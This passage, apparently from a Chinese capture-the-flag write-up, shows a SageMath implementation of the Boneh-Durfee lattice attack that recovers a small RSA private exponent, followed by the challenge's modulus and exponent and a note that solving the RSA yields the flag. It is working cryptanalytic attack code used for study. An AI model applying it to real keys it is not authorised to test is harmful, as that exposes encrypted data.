</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> monomials:</span><span leaf=""><br/></span><span leaf="">                monomials.append(monomial)</span><span leaf=""><br/></span><span leaf="">    monomials.sort()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># y-shifts (selected by Herrman and May)</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> jj </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, tt + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> kk </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(floor(mm/tt) * jj, mm + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)</span><span leaf=""><br/></span><span leaf="">            yshift = Q(yshift).lift()</span><span leaf=""><br/></span><span leaf="">            gg.append(yshift) </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># substitution</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># y-shifts list of monomials</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> jj </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, tt + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> kk </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(floor(mm/tt) * jj, mm + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            monomials.append(u^kk * y^jj)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># construct lattice B</span></span><span leaf=""><br/></span><span leaf="">    nn = len(monomials)</span><span leaf=""><br/></span><span leaf="">    BB = Matrix(ZZ, nn)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> ii </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(nn):</span><span leaf=""><br/></span><span leaf="">        BB[ii, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = gg[ii](</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> jj </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, ii + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> monomials[jj] </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> gg[ii].monomials():</span><span leaf=""><br/></span><span leaf="">                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Prototype to reduce the lattice</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> helpful_only:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># automatically remove</span></span><span leaf=""><br/></span><span leaf="">        BB = remove_unhelpful(BB, monomials, modulus^mm, nn</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># reset dimension</span></span><span leaf=""><br/></span><span leaf="">        nn = BB.dimensions()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> nn == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;failure&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># check if vectors are helpful</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        helpful_vectors(BB, modulus^mm)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># check if determinant is correctly bounded</span></span><span leaf=""><br/></span><span leaf="">    det = BB.det()</span><span leaf=""><br/></span><span leaf="">    bound = modulus^(mm*nn)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> det &gt;= bound:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;We do not have det &lt; bound. Solutions might not be found.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Try with highers m and t.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">            diff = (log(det) - log(bound)) / log(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;size det(L) - size e^(m*n) = &#34;</span></span><span leaf="">, floor(diff))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> strict:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;det(L) &lt; e^(m*n) (good! If a solution exists &lt; N^delta, it will be found)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># display the lattice basis</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        matrix_overview(BB, modulus^mm)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># LLL</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;optimizing basis of the lattice via LLL, this can take a long time&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    BB = BB.LLL()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;LLL is done!&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># transform vector i &amp; j -&gt; polynomials 1 &amp; 2</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;looking for independent vectors in the lattice&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    found_polynomials = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> pol1_idx </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(nn - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> pol2_idx </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(pol1_idx + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, nn):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># for i and j, create the two polynomials</span></span><span leaf=""><br/></span><span leaf="">            PR.&lt;w,z&gt; = PolynomialRing(ZZ)</span><span leaf=""><br/></span><span leaf="">            pol1 = pol2 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> jj </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(nn):</span><span leaf=""><br/></span><span leaf="">                pol1 += monomials[jj](w*z+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)</span><span leaf=""><br/></span><span leaf="">                pol2 += monomials[jj](w*z+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># resultant</span></span><span leaf=""><br/></span><span leaf="">            PR.&lt;q&gt; = PolynomialRing(ZZ)</span><span leaf=""><br/></span><span leaf="">            rr = pol1.resultant(pol2)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># are these good polynomials?</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> rr.is_zero() </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span leaf=""> rr.monomials() == [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;found them, using vectors&#34;</span></span><span leaf="">, pol1_idx, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;and&#34;</span></span><span leaf="">, pol2_idx)</span><span leaf=""><br/></span><span leaf="">                found_polynomials = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> found_polynomials:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> found_polynomials:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;no independant vectors could be found. This should very rarely happen...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    rr = rr(q, q)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># solutions</span></span><span leaf=""><br/></span><span leaf="">    soly = rr.roots()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(soly) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Your prediction (delta) is too small&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">    soly = soly[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">][</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">    ss = pol1(q, soly)</span><span leaf=""><br/></span><span leaf="">    solx = ss.roots()[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">][</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> solx, soly</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">example</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">############################################</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># How To Use This Script</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">##########################################</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># The problem to solve (edit the following values)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># the modulus</span></span><span leaf=""><br/></span><span leaf="">    N = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">27282116371983762041912669226171934834213267111869663414643046433946308990099670619902779534028098258662491783696548704814110569031913533951522948899897952050753641129753560031453499125038644663810374945611628785371618348480443687057347952494765550645132106424275386344675708722795562530893084586263715603616605019932670052317546124250273398628671233505778162949122797472901844999122236752056581074033257933303752665270582493695571812447018768673719950432810902857287900402430788862530621394430578906291537999146794893832511289918245846963416265417641139236739819022441678736012415250371091507897123724260254368398851</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># the public exponent</span></span><span leaf=""><br/></span><span leaf="">    e = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14180624331525991413806961940205749159059672195526010812302727853797689314317592739705685551298732523630959991899621053483135891357764554237827830483836439016974587279272031674430927658131895070464916701588233589386349049620755733138785652009983671996549157331713576664774799256183477206330524171028474266411634935294668960034971282728570749735946140241122767282799298230610201636191394577538375846828013584508852185295950919801912280565423819423712437302673912737370268540642137115217185193479116171916803844236143555349715053108779636638218404547424967160100212508958775263973108754654389190280868923617834114867493</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># the hypothesis on the private exponent (the theoretical maximum is 0.292)</span></span><span leaf=""><br/></span><span leaf="">    delta = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.28</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># this means that d &lt; N^delta</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Lattice (tweak those values)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># you should tweak this (after a first run), (e.g. increment it until a solution is found)</span></span><span leaf=""><br/></span><span leaf="">    m = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># size of the lattice (bigger the better/slower)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># you need to be a lattice master to tweak these</span></span><span leaf=""><br/></span><span leaf="">    t = int((</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-2</span></span><span leaf="">*delta) * m)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># optimization from Herrmann and May</span></span><span leaf=""><br/></span><span leaf="">    X = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">*floor(N^delta)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># this _might_ be too much</span></span><span leaf=""><br/></span><span leaf="">    Y = floor(N^(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">))    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># correct if p, q are ~ same size</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Don&#39;t touch anything below</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Problem put in equation</span></span><span leaf=""><br/></span><span leaf="">    P.&lt;x,y&gt; = PolynomialRing(ZZ)</span><span leaf=""><br/></span><span leaf="">    A = int((N+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    pol = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""> + x * (A + y)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Find the solutions!</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Checking bounds</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== checking values ===&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;* delta:&#34;</span></span><span leaf="">, delta)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;* delta &lt; 0.292&#34;</span></span><span leaf="">, delta &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.292</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;* size of e:&#34;</span></span><span leaf="">, int(log(e)/log(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)))</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;* size of N:&#34;</span></span><span leaf="">, int(log(N)/log(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">)))</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;* m:&#34;</span></span><span leaf="">, m, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;, t:&#34;</span></span><span leaf="">, t)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># boneh_durfee</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== running algorithm ===&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        start_time = time.time()</span><span leaf=""><br/></span><span leaf="">    solx, soly = boneh_durfee(pol, e, m, t, X, Y)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># found a solution?</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> solx &gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== solution found ===&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x:&#34;</span></span><span leaf="">, solx)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;y:&#34;</span></span><span leaf="">, soly)</span><span leaf=""><br/></span><span leaf="">        d = int(pol(solx, soly) / e)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;private key found:&#34;</span></span><span leaf="">, d)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== no solution was found ===&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> debug:</span><span leaf=""><br/></span><span leaf="">        print((</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;=== %s seconds ===&#34;</span></span><span leaf=""> % (time.time() - start_time)))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    example()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最后解rsa即可获得flag</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #61aeee;line-height: 26px;"><span leaf=""># e=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;70 55 09 ec 28 3d c9 4e 3b be 85 ca 1e 36 85 85 86 72 1f 3d 1a 8d 67 81 34 51 e1 60 72 8c c8 7e 73 a5 f1 6a 3c 4e d3 ef b5 53 ed e1 5d 54 01 de 32 c2 65 cc 49 02 a6 66 6a 3b 7d 8e 98 44 b9 cb 2a 1f fc 44 79 df 0d 0f 1e e9 92 71 84 93 ad 47 cb 28 9d f2 06 33 7a 06 3a 0f b0 d7 5f 66 a0 99 81 20 a0 22 7b 4a c0 10 00 ee e0 e8 e6 00 12 aa 6a b6 13 fb 92 b3 73 92 2e e3 28 5b 6c bd 42 9a 3b f8 a6 31 72 09 0e 14 6b 19 cf 19 0a f1 5a be 65 73 e9 9a bb fd 01 69 5f 80 0c 2c f4 70 63 ef 7f ec 9e 69 60 f9 19 68 24 3b 67 32 ae 43 1a 3e f4 08 ea 02 7e 3e 7c d4 46 e3 3d 43 0f 18 ed ba d8 c6 5f 75 4b 06 4a 83 cc 0f f8 1d 79 47 26 c5 c1 f7 d3 9f f9 1a 79 cd 3a 7e 18 fe 26 f3 cf a2 3d e3 34 9f cb 44 d7 08 4a 05 e7 9a ed 98 90 ad ea e9 32 d3 e7 78 9d 02 08 32 43 23 62 b1 e1 25&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf=""># n=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;00 d8 1d b1 95 02 4c 9b d0 3d d8 56 65 6a d1 19 fa 19 a0 a7 71 20 bf 10 d9 c4 02 f4 eb 3d c7 98 b6 11 fd d9 c2 09 c1 7d 87 93 9f a9 2f b0 e8 c1 14 73 23 22 7d d2 ed d8 1b 40 f6 82 a5 4d e1 03 5f 0a f0 3a 66 0e c1 b3 4d b6 88 84 d0 38 e2 e1 af aa b7 95 46 d4 72 50 fd 30 d2 a7 0a 7f fd 83 f1 13 8f 35 3e c9 4f 58 bf 2b 34 48 f8 c4 d3 32 41 9e 3e 1a 32 cf 73 1d ce db 66 ec 1f c4 0a fd fe 3a 05 ad 2d 1c f4 f7 66 a6 42 cb 64 69 0b 45 e2 b6 46 56 3a fb 6d fd f5 99 df 84 83 8b 71 1f 1b 0a 79 b5 f7 bd f1 08 8a 4f 77 a1 0b 13 ad 8a 36 71 db ff 92 00 13 13 7f c5 e2 97 5a 58 1c d8 7b cc 85 15 d8 73 bf ae c4 33 4c b1 c3 1b 16 20 63 16 f9 2c be 44 9f ae 81 15 74 11 3e 5e b2 ed 01 53 d1 fc cb 80 a0 21 0e 80 76 e1 c5 fb f6 af ab be a7 3a d1 80 5c 0a 1b 20 c7 0c f2 c1 3b fe 03&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf=""># w=0</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf=""># nlow=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf=""># for i in e.split(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34; &#34;</span></span><span leaf="">):</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#    w+=1</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#    nlow+=i</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf=""># print(int(nlow,16))</span></span><span leaf=""><br/></span><span leaf="">n=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">27282116371983762041912669226171934834213267111869663414643046433946308990099670619902779534028098258662491783696548704814110569031913533951522948899897952050753641129753560031453499125038644663810374945611628785371618348480443687057347952494765550645132106424275386344675708722795562530893084586263715603616605019932670052317546124250273398628671233505778162949122797472901844999122236752056581074033257933303752665270582493695571812447018768673719950432810902857287900402430788862530621394430578906291537999146794893832511289918245846963416265417641139236739819022441678736012415250371091507897123724260254368398851</span></span><span leaf=""><br/></span><span leaf="">e=</span><span style="color: #d19a66;line-height: 26px;"><span 